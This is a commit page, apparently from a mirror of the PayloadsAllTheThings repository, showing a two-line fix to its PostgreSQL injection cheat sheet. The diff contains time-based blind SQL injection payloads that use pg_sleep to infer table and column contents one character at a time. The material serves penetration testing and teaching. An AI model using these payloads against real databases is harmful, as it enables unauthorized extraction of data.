mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-04 18:40:41 +00:00
Update PostgreSQL Injection.md
Switch "column_name" to "table_name".
This commit is contained in:
parent
5190829ab4
commit
aa8950a273
1 changed files with 2 additions and 2 deletions
|
@ -169,8 +169,8 @@ select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0)
|
|||
```
|
||||
#### columns dump time based
|
||||
```sql
|
||||
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
|
||||
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1
|
||||
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
|
||||
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
|
||||
```
|
||||
|
||||
|
||||
|
|
Loading…
Reference in a new issue